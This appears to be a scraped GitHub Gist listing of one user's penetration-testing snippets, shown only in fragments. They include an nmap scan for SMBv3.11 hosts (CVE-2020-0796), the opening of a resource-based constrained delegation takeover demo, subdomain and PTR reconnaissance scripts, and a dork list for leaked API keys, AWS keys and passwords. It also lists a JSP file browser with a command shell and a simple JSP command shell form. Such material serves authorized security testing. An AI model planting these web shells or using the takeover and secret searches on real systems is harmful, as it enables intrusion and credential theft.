Skip to content

Instantly share code, notes, and snippets.

nikallass /
Created Mar 11, 2020
CVE-2020-0796. Scan HOST/CIDR with nmap script smb-protocols.nse and grep SMB version 3.11.
if [ $# -eq 0 ]
echo $'Usage:\n\ TARGET_IP_or_CIDR'
exit 1
echo "Checking if there's SMB v3.11 in" $1 "..."
nmap -p445 --script smb-protocols -Pn -n $1 | grep -P '\d+\.\d+\.\d+\.\d+|^\|.\s+3.11' | tr '\n' ' ' | replace 'Nmap scan report for' '@' | tr "@" "\n" | grep 3.11 | tr '|' ' ' | tr '_' ' ' | grep -oP '\d+\.\d+\.\d+\.\d+'
nikallass / rbcd_demo.ps1
Created Jan 21, 2020 — forked from HarmJ0y/rbcd_demo.ps1
Resource-based constrained delegation computer DACL takeover demo
View rbcd_demo.ps1
# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"
nikallass /
Last active Oct 21, 2019
Toggle terminator. Kali
# hotkey for prefrences /root/ terminator
# on first start run script manually to install dependencies
# This script does this:
# launch an app if it isn't launched yet,
# focus the app if it is launched but not focused,
# minimize the app if it is focused.
# by desgua - 2012/04/29

Config Apache with /etc/apache2/conf-available/le.conf:

Alias /.well-known/acme-challenge/ "/var/www/html/.well-known/acme-challenge/"
<Directory "/var/www/html/">
    AllowOverride None
    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
    Require method GET POST OPTIONS
nikallass / subdomain.rb
Last active Oct 13, 2019 — forked from ehsahil/subdomain.rb
Subdomain OSINT script, running several best tools.
View subdomain.rb
#Tools based on a resolver.rb by @melvinsh
#Modified by @ehsahil for Personal Use.
#Modified by @nikallass for Personal Use.
require 'socket'
require 'colorize'
if ARGV[0] == nil
View github-recon
“Hackme.tld” API_key
“Hackme.tld” secret_key
“Hackme.tld” aws_key
“Hackme.tld” Password 
“Hackme.tld” FTP
“Hackme.tld” login
“Hackme.tld” github_token
“Hackme.tld” http:// & https://  
“Hackme.tld” amazonaws
“Hackme.tld” digitaloceanspaces
nikallass /
Last active Apr 30, 2021
Search PTRarchive for subdomains and IPs
if [ "$1" == "-h" ] || [ "$1" == "--help" ] || [[ $# -eq 0 ]]
me=`basename "$0"`
echo "Find subdomains in PTR-archive"
echo -e "Usage:\n\t./${me} [domain]"
echo -e "Example:\n\t./${me}"
echo -e "\t./${me} -v # Verbose output, includes IPs."
exit 1
nikallass /
Created May 10, 2018
Fix armitage scan crash
in armitage/armitage.jar
in /scripts/
replace line 381:
from: if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
to: if ($text ismatch '... (.*?): +- \1:(\d+) - TCP OPEN') {
nikallass / file-browser.jsp
Last active Jan 29, 2021
File browser + cmd JSP shell (win+linux without modification)
View file-browser.jsp
jsp File browser 1.2.1
nikallass added OS check, so shell can be executed on Windows and Linux without modifying now.
Copyright (C) 2003-2006 Boris von Loesch
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2 of the License, or (at your option)
any later version.
nikallass / cmd.jsp
Created Apr 30, 2018
Simple JSP cmd shell
View cmd.jsp
<%@ page import="java.util.*,*"%>
Commands with JSP
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">